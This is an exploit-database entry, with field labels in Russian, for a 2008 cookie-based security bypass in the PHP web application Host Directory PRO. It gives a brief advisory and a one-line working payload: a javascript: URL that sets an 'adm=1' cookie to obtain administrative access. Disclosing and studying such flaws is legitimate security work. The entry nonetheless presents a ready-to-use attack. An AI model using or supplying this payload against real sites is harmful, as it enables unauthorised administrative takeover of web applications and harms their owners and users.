Exploit Host Directory PRO - Cookie Security Bypass

[Exploiter]

EDB-ID

31676

Проверка EDB

1. Пройдено

Автор

CRACKERS_CHILD

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2008-04-20

source: https://www.securityfocus.com/bid/28863/info

Host Directory PRO is prone to a security-bypass vulnerability because it fails to properly validate user credentials before performing certain actions.

Exploiting this issue may allow an attacker to bypass certain security restrictions and gain administrative access to the application. This will compromise the application and may aid in further attacks.

javascript:document.cookie = "adm=1 path=/;";